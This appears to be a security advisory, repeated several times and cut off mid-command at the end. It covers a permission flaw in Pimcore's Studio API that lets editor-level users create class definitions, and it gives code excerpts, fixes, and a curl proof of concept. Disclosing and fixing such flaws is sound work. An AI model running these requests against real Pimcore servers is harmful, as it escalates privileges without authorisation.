pimcore/studio-backend-bundle

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
